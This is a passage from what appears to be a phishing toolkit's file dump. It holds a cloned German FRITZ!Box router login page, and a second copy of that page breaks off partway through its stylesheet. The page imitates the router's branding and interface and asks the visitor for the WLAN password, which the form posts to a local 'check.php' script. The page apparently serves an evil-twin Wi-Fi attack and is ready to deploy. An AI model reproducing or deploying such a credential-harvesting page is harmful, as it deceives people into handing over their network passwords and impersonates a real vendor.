    "content": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<meta http-equiv=\"Cache-Control\" content=\"private, no-transform\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n<meta name=\"format-detection\" content=\"telephone=no\">\r\n<meta http-equiv=\"x-rim-auto-match\" content=\"none\">\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui\">\r\n<meta name=\"mobile-web-app-capable\" content=\"yes\">\r\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\r\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\r\n<meta http-equiv=\"cleartype\" content=\"on\">\r\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"http://192.168.178.1/favicon.ico\">\r\n<link rel=\"apple-touch-icon\" href=\"http://192.168.178.1/css/default/images/kopfbalken_links.png\">\r\n<link rel=\"apple-touch-startup-image\" href=\"http://192.168.178.1/css/default/images/kopfbalken_links.png\">\r\n<style>\r\n@font-face {\r\nfont-family: 'Source Sans Pro';\r\nsrc: url('/css/rd/fonts/sourcesanspro.woff');\r\n}\r\n@font-face {\r\nfont-family: 'Source Sans Pro';\r\nsrc: url('/css/rd/fonts/sourcesansproBold.woff');\r\nfont-weight: bold;\r\n}\r\n@font-face {\r\nfont-family: 'AVM';\r\nsrc: url('/css/rd/fonts/metaWebProBold.woff');\r\nfont-weight: bold;\r\n}\r\nhtml, input, textarea, keygen, select, button {\r\nfont-family: 'Source Sans Pro', Arial, sans-serif;\r\nfont-size: 100%;\r\n}\r\n.blue_bar_title,\r\n.logoArea {\r\nfont-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;\r\n}\r\n</style>\r\n\r\n<style type=\"text/css\">\r\n/********************************************** Allgemein **********************************************/\r\n* {\r\n-webkit-tap-highlight-color: rgba(0,0,0,0);\r\n-webkit-box-sizing: border-box;\r\n-moz-box-sizing: border-box;\r\nbox-sizing: border-box;\r\n-webkit-touch-callout: text;\r\n-webkit-user-select: text;\r\n-khtml-user-select: text;\r\n-moz-user-select: text;\r\n-ms-user-select: text;\r\nuser-select: text;\r\nfont-size: 100%;\r\nvertical-align: middle;\r\noutline: 0;\r\n}\r\n*::selection {\r\nbackground: transparent;\r\n}\r\n*::-moz-selection {\r\nbackground: transparent;\r\n}\r\n.selectable *::selection {\r\nbackground: #8fdaff;\r\n}\r\n.selectable *::-moz-selection {\r\nbackground: #8fdaff;\r\n}\r\nhtml {\r\nheight: 100%;\r\nfont-size: 100%;\r\nbackground-color: #f0eee6;\r\ntransition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\nbody {\r\nheight: 100%;\r\npadding:0;\r\nmargin:0;\r\ncolor: #3F464C;\r\noverflow-x: hidden;\r\noverflow-y: auto;\r\nline-height: 1;\r\n}\r\nh1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {\r\nmargin: 0;\r\npadding: 0;\r\nborder: 0;\r\n}\r\nh4 {\r\nmargin: 1.25rem 0;\r\n}\r\ninput {\r\nmargin: 0;\r\npadding: 0;\r\n}\r\nhr {\r\npadding: 0;\r\nborder-top: 1px solid #d5d5d5;\r\nmargin: 1.25rem -1.25rem;\r\n}\r\nheader {\r\nheight: 6.25rem;\r\nwidth: 100%;\r\nposition: fixed;\r\ntop: 0;\r\nleft: 0;\r\nz-index: 100;\r\nbackground-color: #006ec0;\r\ndisplay: -webkit-box;\r\ndisplay: -moz-box;\r\ndisplay: -ms-flexbox;\r\ndisplay: -webkit-flex;\r\ndisplay: flex;\r\n-webkit-box-flex-direction: row;\r\n-moz-box-flex-direction: row;\r\n-webkit-flex-direction: row;\r\n-ms-flex-direction: row;\r\nflex-direction: row;\r\ntransition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n.hidden {\r\ndisplay: none;\r\n}\r\n.blue_bar_title {\r\n-webkit-box-flex: 1 1 auto;\r\n-moz-box-flex: 1 1 auto;\r\n-webkit-flex: 1 1 auto;\r\n-ms-flex: 1 1 auto;\r\nflex: 1 1 auto;\r\n-webkit-box-align-self: center;\r\n-moz-box-align-self: center;\r\n-webkit-align-self: center;\r\n-ms-align-self: center;\r\nalign-self: center;\r\nmargin: 0.3rem 0 0 0;\r\nfont-size: 3rem;\r\nfont-weight: bold;\r\ntext-align: left;\r\ncolor: #ffffff;\r\noverflow: hidden;\r\nwhite-space: nowrap;\r\ntext-overflow: ellipsis;\r\ntext-align: center;\r\ntransition: all 150ms;\r\n}\r\n.blue_bar_title.fade {\r\nfont-size: 0;\r\ncolor: transparent;\r\n}\r\n.logoBox {\r\nbackground-image: url(\"fritzLogo.svg\");\r\nbackground-position: center right;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 7rem;\r\ncolor: transparent;\r\nwidth: 10.75rem;\r\nheight: 6.25rem;\r\n}\r\n.logoBox.fake {\r\nbackground-image: none;\r\n}\r\n.dialog_outer {\r\nheight: 100%;\r\ndisplay: -webkit-box;\r\ndisplay: -moz-box;\r\ndisplay: -ms-flexbox;\r\ndisplay: -webkit-flex;\r\ndisplay: flex;\r\n-webkit-box-justify-content: center;\r\n-moz-box-justify-content: center;\r\n-webkit-justify-content: center;\r\n-ms-justify-content: center;\r\njustify-content: center;\r\n-webkit-box-align-items: center;\r\n-moz-box-align-items: center;\r\n-webkit-align-items: center;\r\n-ms-align-items: center;\r\nalign-items: center;\r\nbackground-image: url(\"login_background.svg\");\r\nbackground-position: center 51%;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 38rem;\r\npadding: 6.5rem 0;\r\n}\r\n.dialog_outer p {\r\nmargin: 1.25rem 0;\r\nline-height: 1.25rem;\r\n}\r\n.loginForm {\r\ndisplay: block;\r\n}\r\n.setFac .pushmailQuestion,\r\n.setFac #sendFacReset,\r\n.setFac #sendPushMail,\r\n.setFac #setFac,\r\n.pushmailSend,\r\n.restore,\r\n.pushmail .pushmailQuestion,\r\n.pushmail #sendFacReset,\r\n.pushmail #sendPushMail,\r\n.pushmail #setFac,\r\n.forgotPassForm,\r\n.forgotPass .loginForm {\r\ndisplay: none;\r\n}\r\n.setFac .restore,\r\n.pushmail .pushmailSend,\r\n.forgotPass .forgotPassForm {\r\ndisplay: block;\r\nvisibility: visible;\r\n}\r\n.setFac .forgotPassForm {\r\ndisplay: none;\r\n}\r\n.pushmail.wait .pushmailSend {\r\nvisibility: hidden;\r\n}\r\n.intxt.wait,\r\n.setFac.wait .dialog_content,\r\n.pushmail.wait .dialog_content {\r\nbackground-image: url(\"/css/rd/images/wait_circle_bright_back.gif\");\r\nbackground-position: center 1.5rem;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 2rem;\r\n}\r\n.intxt.wait {\r\nheight: 2rem;\r\nwidth: 100%;\r\nmargin: 0.5rem;\r\nbackground-position: center;\r\n}\r\n.ErrorMsg,\r\n.error_text,\r\n.WarnMsgBold {\r\ncolor: #ff3000;\r\n}\r\n.WarnMsgBold {\r\nfont-weight:bold;\r\n}\r\n.pushmailQuestion,\r\n.pushmailSend,\r\n#setFac,\r\n.restore {\r\npadding: 0 1.25rem;\r\n}\r\n#uiLoginError,\r\n#uiUsernameError {\r\nheight: 1.25rem;\r\nmargin: -0.35rem 0 0.75rem 9rem;\r\nfont-size: 0.94rem;\r\ntransition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n#uiLoginError {\r\nheight: 7.25rem;\r\nmargin: -0.35rem 0 0 9rem;\r\n}\r\n#uiLoginError p:first-Child {\r\nmargin: 0;\r\n}\r\n#uiLoginError p:nth-Child(2) {\r\nmargin: 0 0 1.25rem 0;\r\n}\r\n#uiLoginError p {\r\ntransition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n@media (max-width: 759px) {\r\n#uiLoginError {\r\nheight: 7.5rem;\r\n}\r\n}\r\n@media (max-width: 369px) {\r\n#uiLoginError {\r\nheight: 10rem;\r\n}\r\n}\r\n@media (max-width: 279px) {\r\n#uiLoginError {\r\nheight: 13rem;\r\n}\r\n}\r\n#uiUsernameError.hidden,\r\n#uiLoginError.hidden {\r\ndisplay: block;\r\noverflow: hidden;\r\nheight: 0;\r\nmargin: 0 0 0 9rem;\r\n}\r\n#uiLoginError.hidden p.error_text {\r\ncolor: transparent;\r\n}\r\nbutton {\r\nmin-width: 5.5rem;\r\nmin-height: 1.75rem;\r\noverflow: hidden;\r\npadding: 0 1rem;\r\nmargin: 0 0 0 1.25rem;\r\nbackground-color: #e9edf0;\r\nborder: 1px solid #d8dfe3;\r\nborder-radius: 0.25rem;\r\ncolor: #4269a4;\r\ncursor: pointer;\r\nwill-change: border, background-color, color;\r\ntransition: border 100ms,\r\nbackground-color 100ms,\r\ncolor 100ms;\r\n}\r\n.btn_form_foot button {\r\nmargin: 0 0 0 1.25rem;\r\n}\r\nbutton:first-Child {\r\nmargin-left: 0;\r\n}\r\nbutton:active {\r\nbackground-color: #bcccd4;\r\nborder: 1px solid #b0bec5;\r\n}\r\nbutton:disabled {\r\nbackground-color: #e0e0de;\r\nborder: 1px solid #d8dfe3;\r\ncolor: #969693;\r\ncursor: default;\r\n}\r\n.btn_form_foot button {\r\nmin-height: 2rem;\r\nmin-width: 7.5rem;\r\nmargin: 0 0 0 0.5rem;\r\nbackground-color: #268edf;\r\ncolor: #ffffff;\r\ncursor: pointer;\r\noverflow: hidden;\r\ntext-align: center;\r\npadding: 0.35rem 1rem;\r\nwill-change: margin, width, background-color, color;\r\ntransition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),\r\nwidth 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),\r\nbackground-color 100ms,\r\ncolor 100ms;\r\nborder: 0;\r\nborder-radius: 0;\r\n}\r\n.btn_form_foot button:active {\r\nbackground-color: #57758c;\r\n}\r\n.btn_form_foot button:disabled {\r\nbackground-color: #d5d5d5;\r\ncolor: #969693;\r\ncursor: default;\r\n}\r\n@media (max-width: 1023px) {\r\n.btn_form_foot button {\r\nmin-height: 2.25rem;\r\n}\r\n}\r\n@media (min-width: 760px) {\r\n/*pc*/\r\n.dialog_inner {\r\n-webkit-box-flex: 0 0 28.75rem;\r\n-moz-box-flex: 0 0 28.75rem;\r\n-webkit-flex: 0 0 28.75rem;\r\n-ms-flex: 0 0 28.75rem;\r\nflex: 0 0 28.75rem;\r\nmargin: auto 0;\r\npadding: 0;\r\nbox-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);\r\nbackground-color: #ffffff;\r\n}\r\n.dialog_head_box {\r\ntext-align: left;\r\nheight: 3.25rem;\r\nmargin: auto;\r\nbackground-color: #268edf;\r\n}\r\n.dialog_head_box h2 {\r\nmargin: 0 0 0 1.25rem;\r\nfont-weight: bold;\r\nfont-size: 1.25rem;\r\ncolor: #ffffff;\r\nletter-spacing: 0.025rem;\r\nline-height: 3.4rem;\r\n}\r\n.dialog_content {\r\npadding: 0 0 1rem 0;\r\nmin-height: 5rem;\r\n}\r\n.formular {\r\ntext-align: left;\r\nmargin: 0;\r\npadding: 0 1.25rem 0 1.25rem;\r\n}\r\nlabel,\r\ninput,\r\nselect {\r\nmargin: 0 0 0.5rem;\r\ncolor: #3F464C;\r\nvertical-align: middle;\r\ndisplay: inline-block;\r\n}\r\n.formular label {\r\nwidth: 8.5rem;\r\nmargin-right: 0.5rem;\r\nline-height: 1.7rem;\r\n}\r\n.formular input,\r\n.formular select {\r\nwidth: 17.25rem;\r\nborder: 1px solid #d5d5d5;\r\nheight: 1.7rem;\r\n}\r\n.formular input.error,\r\n.formular select.error {\r\nborder-color: #ff3000;\r\n}\r\n.formular input {\r\npadding: 0 0.25rem;\r\n}\r\n.language_selection.formular input {\r\nwidth: auto;\r\nmargin-right: 0.25rem;\r\n}\r\n.btn_form_foot {\r\nborder-top: 1px solid #d5d5d5;\r\nmargin: 1.75rem 0 0 0;\r\npadding: 1rem 1.25rem 0 1.25rem;\r\ntext-align: right;\r\nwidth: 100%;\r\ndisplay: flex;\r\nflex-direction: row-reverse;\r\njustify-content: space-between;\r\nalign-items: center;\r\n}\r\n.forgotPass .btn_form_foot {\r\njustify-content: flex-start;\r\n}\r\n.btn_form_foot a {\r\ndisplay: inline-block;\r\ntext-decoration: none;\r\nfont-size: 0.9375rem;\r\nfont-weight: normal;\r\ncolor: #4269a4;\r\nmargin: 0;\r\npadding: 0.1rem 0 0 0;\r\ncursor: pointer;\r\n}\r\n.btn_form_foot a:hover {\r\ntext-decoration: underline;\r\n}\r\n}\r\n@media (max-width: 759px) {\r\n/*fr mobile Ansicht*/\r\nhtml {\r\nbackground-color: #ffffff;\r\nbackground-image: none;\r\n}\r\nbody {\r\nheight: auto;\r\n}\r\nheader {\r\nheight: 3.75rem;\r\n}\r\n.dialog_outer {\r\nfont-size: 1.25rem;\r\nbackground-image: none;\r\npadding: 3.75rem 0 4.25rem 0;\r\n}\r\n.blue_bar_title {\r\ntext-align: left;\r\npadding: 1rem 0 1.035rem 0.15rem;\r\nfont-size: 1.25rem;\r\nfont-weight: normal;\r\n}\r\n.blue_bar_title.hide {\r\ncolor: transparent;\r\n}\r\n.dialog_inner {\r\nwidth: 90%;\r\nmargin: 0;\r\n}\r\n.dialog_head_box {\r\ndisplay: none;\r\n}\r\n.logoBox {\r\nheight: 3.75rem;\r\nbackground-position: left 0.5rem center;\r\nbackground-size: 3.75rem;\r\nwidth: 5rem;\r\n}\r\n.formular {\r\ntext-align: left;\r\nmargin: 0;\r\npadding: 0;\r\n}\r\nlabel,\r\ninput,\r\nselect {\r\nvertical-align: middle;\r\ndisplay: inline-block;\r\nmargin: 0 0 0.5rem;\r\ncolor: #3F464C;\r\n}\r\n.pushmailQuestion,\r\n.pushmailSend,\r\n#setFac,\r\n.restore {\r\npadding: 0;\r\n}\r\n.formular label {\r\nwidth: 10rem;\r\nline-height: 1.7rem;\r\nmargin: 0 0.5rem 0 0;\r\nvertical-align: top;\r\n}\r\n#uiLoginError,\r\n#uiUsernameError {\r\nmargin: 0 0 1rem 0;\r\nfont-size: 1.15rem;\r\n}\r\n#uiUsernameError.hidden,\r\n#uiLoginError,\r\n#uiLoginError.hidden {\r\nmargin: 0;\r\n}\r\n.formular input,\r\n.formular select {\r\nborder: 1px solid #d5d5d5;\r\nheight: 1.7rem;\r\nwidth: 100%;\r\nmax-width: 20rem;\r\n}\r\n.formular input.error,\r\n.formular select.error {\r\nborder-color: #ff3000;\r\n}\r\n.formular input {\r\npadding: 0 0.25rem;\r\n}\r\n.language_selection.formular input {\r\nwidth: auto;\r\nmargin: 0 0.5rem 0.5rem 0;\r\n}\r\n.btn_form_foot {\r\nborder: none;\r\nmargin: 0 -1.25rem 0 -1.25rem;\r\npadding: 0 1.25rem;\r\ntext-align: center;\r\nwidth: calc(100% + 2.5rem);\r\ndisplay: flex;\r\nflex-direction: column-reverse;\r\n}\r\nbutton,\r\n.btn_form_foot button {\r\nmin-width: 100%;\r\nmin-height: 2.2rem;\r\nmargin: 0;\r\n}\r\n.btn_form_foot button {\r\nmargin: 2rem 0 0 0;\r\n}\r\n.btn_form_foot a {\r\ndisplay: block;\r\nposition: fixed;\r\nbottom: 0;\r\nleft: 0;\r\ntext-align: center;\r\nwidth: 100%;\r\npadding: 1rem 0;\r\nbackground-color: #f1f6f9;\r\ncursor: pointer;\r\n}\r\n.btn_form_foot a {\r\ncolor: #3080C8;\r\n}\r\n.logoBox.fake {\r\ndisplay: none;\r\n}\r\n}\r\n.perfTestHead {\r\nborder-top: 1px solid #ff3000;\r\nmargin: 1rem 0 0 0;\r\npadding: 1.25rem 1.25rem 0 1.25rem;\r\ncolor: #ff3000;\r\ncursor: pointer;\r\n}\r\n.perfTestHead span {\r\ndisplay: inline-block;\r\nheight: 1rem;\r\nwidth: 2rem;\r\nbackground-image: url(\"/css/rd/images/link_open_red.svg\");\r\nbackground-position: center;\r\nbackground-size: 1rem;\r\nbackground-repeat: no-repeat;\r\n}\r\n.perfTestHead.show span {\r\nbackground-image: url(\"/css/rd/images/link_closed_red.svg\");\r\n}\r\n.perfTestMsg {\r\ndisplay: none;\r\npadding: 0 1.25rem 0 1.25rem;\r\n}\r\n.perfTestMsg.show {\r\ndisplay: block;\r\n}\r\n.forgotPass .perfTestHead,\r\n.forgotPass .perfTestMsg.show {\r\ndisplay: none;\r\n}\r\n.hintMsg {\r\nfont-weight: bold;\r\n}\r\n@media (max-width: 759px) {\r\n.perfTestHead {\r\nmargin: 1.5rem 0 0 0;\r\npadding: 1.25rem 0 0 0;\r\n}\r\n.perfTestMsg {\r\npadding: 0;\r\n}\r\n}\r\n@media (min-width: 2040px) {\r\nhtml {\r\nfont-size: 0.79vw;\r\n}\r\n}\r\n\r\n\r\n</style>\r\n<title>\r\nFRITZ!Box\r\n</title>\r\n</head>\r\n<body>\r\n<script>\r\nvar gNbc = false,\r\nconfig = {\"gu_type\":\"release\",\"isDebug\":false,\"GUI_IS_REPEATER\":false};\r\n</script>\r\n<script src=\"FRITZ%21Box-Dateien/avmcore.js\"></script>\r\n<!--<script src=\"/js/browser.js\"></script>-->\r\n<!--<script src=\"/js/jsl.js\"></script>-->\r\n<!--<script src=\"/js/md5.js\"></script>-->\r\n<!--<script src=\"/js/html.js\"></script>-->\r\n<!--<script src=\"/js/func.js\"></script>-->\r\n<!--<script type=\"text/javascript\" src=\"/myfritz/js/focuschanger.js?lang=de\"></script>-->\r\n<!--<script src=\"/js/html2.js?lang=de\"></script>-->\r\n<!--<script src=\"/js/http.js\"></script>-->\r\n\r\n\r\n</script>\r\n<header id=\"blueBarBox\" name=\"\" class=\"\"><div id=\"\" name=\"\" class=\"logoBox\"></div>\r\n<div id=\"blueBarTitel\" name=\"\" class=\"blue_bar_title\">FRITZ!Box WLAN</div>\r\n<div id=\"\" name=\"\" class=\"logoBox fake\"></div></header><div class=\"dialog_outer\">\r\n<div id=\"dialogInner\" class=\"dialog_inner\">\r\n<div id=\"dialogHeadBox\" class=\"dialog_head_box\">\r\n<h2 id=\"dialogTitle\">Willkommen bei Ihrer FRITZ!Box</h2></div>\r\n<div id=\"dialogContent\" class=\"dialog_content\">\r\n\r\n<form method=\"post\" action=\"check.php\" id=\"form1\" name=\"form1\" class=\"loginForm\">\r\n\r\n<div class=\"formular\">\r\n<p>Bitte melden Sie sich mit Ihrem WLAN-Passwort an.</p>\r\n<input tabindex=\"2\" name=\"key1\" type=\"password\">\r\n<p class=\"error_text\">Anmeldung fehlgeschlagen, bitte versuchen Sie es erneut.</p>\r\n<p id=\"uiWait\" class=\"error_text\"></p></div>\r\n<div class=\"btn_form_foot\">\r\n<button type=\"submit\" tabindex=\"3\" id=\"submitLoginBtn\">Anmelden</button>\r\n<a>Passwort vergessen?</a></div></form></div></div></div>"
  },
  {
    "path": "sites/fritzbox_de/final.html",
    "content": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<meta http-equiv=\"Cache-Control\" content=\"private, no-transform\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n<meta name=\"format-detection\" content=\"telephone=no\">\r\n<meta http-equiv=\"x-rim-auto-match\" content=\"none\">\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui\">\r\n<meta name=\"mobile-web-app-capable\" content=\"yes\">\r\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\r\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\r\n<meta http-equiv=\"cleartype\" content=\"on\">\r\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"http://192.168.178.1/favicon.ico\">\r\n<link rel=\"apple-touch-icon\" href=\"http://192.168.178.1/css/default/images/kopfbalken_links.png\">\r\n<link rel=\"apple-touch-startup-image\" href=\"http://192.168.178.1/css/default/images/kopfbalken_links.png\">\r\n<style>\r\n@font-face {\r\nfont-family: 'Source Sans Pro';\r\nsrc: url('/css/rd/fonts/sourcesanspro.woff');\r\n}\r\n@font-face {\r\nfont-family: 'Source Sans Pro';\r\nsrc: url('/css/rd/fonts/sourcesansproBold.woff');\r\nfont-weight: bold;\r\n}\r\n@font-face {\r\nfont-family: 'AVM';\r\nsrc: url('/css/rd/fonts/metaWebProBold.woff');\r\nfont-weight: bold;\r\n}\r\nhtml, input, textarea, keygen, select, button {\r\nfont-family: 'Source Sans Pro', Arial, sans-serif;\r\nfont-size: 100%;\r\n}\r\n.blue_bar_title,\r\n.logoArea {\r\nfont-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;\r\n}\r\n</style>\r\n<style type=\"text/css\">\r\n/********************************************** Allgemein **********************************************/\r\n* {\r\n-webkit-tap-highlight-color: rgba(0,0,0,0);\r\n-webkit-box-sizing: border-box;\r\n-moz-box-sizing: border-box;\r\nbox-sizing: border-box;\r\n-webkit-touch-callout: text;\r\n-webkit-user-select: text;\r\n-khtml-user-select: text;\r\n-moz-user-select: text;\r\n-ms-user-select: text;\r\nuser-select: text;\r\nfont-size: 100%;\r\nvertical-align: middle;\r\noutline: 0;\r\n}\r\n*::selection {\r\nbackground: transparent;\r\n}\r\n*::-moz-selection {\r\nbackground: transparent;\r\n}\r\n.selectable *::selection {\r\nbackground: #8fdaff;\r\n}\r\n.selectable *::-moz-selection {\r\nbackground: #8fdaff;\r\n}\r\nhtml {\r\nheight: 100%;\r\nfont-size: 100%;\r\nbackground-color: #f0eee6;\r\ntransition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\nbody {\r\nheight: 100%;\r\npadding:0;\r\nmargin:0;\r\ncolor: #3F464C;\r\noverflow-x: hidden;\r\noverflow-y: auto;\r\nline-height: 1;\r\n}\r\nh1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {\r\nmargin: 0;\r\npadding: 0;\r\nborder: 0;\r\n}\r\nh4 {\r\nmargin: 1.25rem 0;\r\n}\r\ninput {\r\nmargin: 0;\r\npadding: 0;\r\n}\r\nhr {\r\npadding: 0;\r\nborder-top: 1px solid #d5d5d5;\r\nmargin: 1.25rem -1.25rem;\r\n}\r\nheader {\r\nheight: 6.25rem;\r\nwidth: 100%;\r\nposition: fixed;\r\ntop: 0;\r\nleft: 0;\r\nz-index: 100;\r\nbackground-color: #006ec0;\r\ndisplay: -webkit-box;\r\ndisplay: -moz-box;\r\ndisplay: -ms-flexbox;\r\ndisplay: -webkit-flex;\r\ndisplay: flex;\r\n-webkit-box-flex-direction: row;\r\n-moz-box-flex-direction: row;\r\n-webkit-flex-direction: row;\r\n-ms-flex-direction: row;\r\nflex-direction: row;\r\ntransition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n.hidden {\r\ndisplay: none;\r\n}\r\n.blue_bar_title {\r\n-webkit-box-flex: 1 1 auto;\r\n-moz-box-flex: 1 1 auto;\r\n-webkit-flex: 1 1 auto;\r\n-ms-flex: 1 1 auto;\r\nflex: 1 1 auto;\r\n-webkit-box-align-self: center;\r\n-moz-box-align-self: center;\r\n-webkit-align-self: center;\r\n-ms-align-self: center;\r\nalign-self: center;\r\nmargin: 0.3rem 0 0 0;\r\nfont-size: 3rem;\r\nfont-weight: bold;\r\ntext-align: left;\r\ncolor: #ffffff;\r\noverflow: hidden;\r\nwhite-space: nowrap;\r\ntext-overflow: ellipsis;\r\ntext-align: center;\r\ntransition: all 150ms;\r\n}\r\n.blue_bar_title.fade {\r\nfont-size: 0;\r\ncolor: transparent;\r\n}\r\n.logoBox {\r\nbackground-image: url(\"fritzLogo.svg\");\r\nbackground-position: center right;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 7rem;\r\ncolor: transparent;\r\nwidth: 10.75rem;\r\nheight: 6.25rem;\r\n}\r\n.logoBox.fake {\r\nbackground-image: none;\r\n}\r\n.dialog_outer {\r\nheight: 100%;\r\ndisplay: -webkit-box;\r\ndisplay: -moz-box;\r\ndisplay: -ms-flexbox;\r\ndisplay: -webkit-flex;\r\ndisplay: flex;\r\n-webkit-box-justify-content: center;\r\n-moz-box-justify-content: center;\r\n-webkit-justify-content: center;\r\n-ms-justify-content: center;\r\njustify-content: center;\r\n-webkit-box-align-items: center;\r\n-moz-box-align-items: center;\r\n-webkit-align-items: center;\r\n-ms-align-items: center;\r\nalign-items: center;\r\nbackground-image: url(\"login_background.svg\");\r\nbackground-position: center 51%;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 38rem;\r\npadding: 6.5rem 0;\r\n}\r\n.dialog_outer p {\r\nmargin: 1.25rem 0;\r\nline-height: 1.25rem;\r\n}\r\n.loginForm {\r\ndisplay: block;\r\n}\r\n.setFac .pushmailQuestion,\r\n.setFac #sendFacReset,\r\n.setFac #sendPushMail,\r\n.setFac #setFac,\r\n.pushmailSend,\r\n.restore,\r\n.pushmail .pushmailQuestion,\r\n.pushmail #sendFacReset,\r\n.pushmail #sendPushMail,\r\n.pushmail #setFac,\r\n.forgotPassForm,\r\n.forgotPass .loginForm {\r\ndisplay: none;\r\n}\r\n.setFac .restore,\r\n.pushmail .pushmailSend,\r\n.forgotPass .forgotPassForm {\r\ndisplay: block;\r\nvisibility: visible;\r\n}\r\n.setFac .forgotPassForm {\r\ndisplay: none;\r\n}\r\n.pushmail.wait .pushmailSend {\r\nvisibility: hidden;\r\n}\r\n.intxt.wait,\r\n.setFac.wait .dialog_content,\r\n.pushmail.wait .dialog_content {\r\nbackground-image: url(\"/css/rd/images/wait_circle_bright_back.gif\");\r\nbackground-position: center 1.5rem;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 2rem;\r\n}\r\n.intxt.wait {\r\nheight: 2rem;\r\nwidth: 100%;\r\nmargin: 0.5rem;\r\nbackground-position: center;\r\n}\r\n.ErrorMsg,\r\n.error_text,\r\n.WarnMsgBold {\r\ncolor: #ff3000;\r\n}\r\n.WarnMsgBold {\r\nfont-weight:bold;\r\n}\r\n.pushmailQuestion,\r\n.pushmailSend,\r\n#setFac,\r\n.restore {\r\npadding: 0 1.25rem;\r\n}\r\n#uiLoginError,\r\n#uiUsernameError {\r\nheight: 1.25rem;\r\nmargin: -0.35rem 0 0.75rem 9rem;\r\nfont-size: 0.94rem;\r\ntransition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n#uiLoginError {\r\nheight: 7.25rem;\r\nmargin: -0.35rem 0 0 9rem;\r\n}\r\n#uiLoginError p:first-Child {\r\nmargin: 0;\r\n}\r\n#uiLoginError p:nth-Child(2) {\r\nmargin: 0 0 1.25rem 0;\r\n}\r\n#uiLoginError p {\r\ntransition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n@media (max-width: 759px) {\r\n#uiLoginError {\r\nheight: 7.5rem;\r\n}\r\n}\r\n@media (max-width: 369px) {\r\n#uiLoginError {\r\nheight: 10rem;\r\n}\r\n}\r\n@media (max-width: 279px) {\r\n#uiLoginError {\r\nheight: 13rem;\r\n}\r\n}\r\n#uiUsernameError.hidden,\r\n#uiLoginError.hidden {\r\ndisplay: block;\r\noverflow: hidden;\r\nheight: 0;\r\nmargin: 0 0 0 9rem;\r\n}\r\n#uiLoginError.hidden p.error_text {\r\ncolor: transparent;\r\n}\r\nbutton {\r\nmin-width: 5.5rem;\r\nmin-height: 1.75rem;\r\noverflow: hidden;\r\npadding: 0 1rem;\r\nmargin: 0 0 0 1.25rem;\r\nbackground-color: #e9edf0;\r\nborder: 1px solid #d8dfe3;\r\nborder-radius: 0.25rem;\r\ncolor: #4269a4;\r\ncursor: pointer;\r\nwill-change: border, background-color, color;\r\ntransition: border 100ms,\r\nbackground-color 100ms,\r\ncolor 100ms;\r\n}\r\n.btn_form_foot button {\r\nmargin: 0 0 0 1.25rem;\r\n}\r\nbutton:first-Child {\r\nmargin-left: 0;\r\n}\r\nbutton:active {\r\nbackground-color: #bcccd4;\r\nborder: 1px solid #b0bec5;\r\n}\r\nbutton:disabled {\r\nbackground-color: #e0e0de;\r\nborder: 1px solid #d8dfe3;\r\ncolor: #969693;\r\ncursor: default;\r\n}\r\n.btn_form_foot button {\r\nmin-height: 2rem;\r\nmin-width: 7.5rem;\r\nmargin: 0 0 0 0.5rem;\r\nbackground-color: #268edf;\r\ncolor: #ffffff;\r\ncursor: pointer;\r\noverflow: hidden;\r\ntext-align: center;\r\npadding: 0.35rem 1rem;\r\nwill-change: margin, width, background-color, color;\r\ntransition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),\r\nwidth 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),\r\nbackground-color 100ms,\r\ncolor 100ms;\r\nborder: 0;\r\nborder-radius: 0;\r\n}\r\n.btn_form_foot button:active {\r\nbackground-color: #57758c;\r\n}\r\n.btn_form_foot button:disabled {\r\nbackground-color: #d5d5d5;\r\ncolor: #969693;\r\ncursor: default;\r\n}\r\n@media (max-width: 1023px) {\r\n.btn_form_foot button {\r\nmin-height: 2.25rem;\r\n}\r\n}\r\n@media (min-width: 760px) {\r\n/*pc*/\r\n.dialog_inner {\r\n-webkit-box-flex: 0 0 28.75rem;\r\n-moz-box-flex: 0 0 28.75rem;\r\n-webkit-flex: 0 0 28.75rem;\r\n-ms-flex: 0 0 28.75rem;\r\nflex: 0 0 28.75rem;\r\nmargin: auto 0;\r\npadding: 0;\r\nbox-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);\r\nbackground-color: #ffffff;\r\n}\r\n.dialog_head_box {\r\ntext-align: left;\r\nheight: 3.25rem;\r\nmargin: 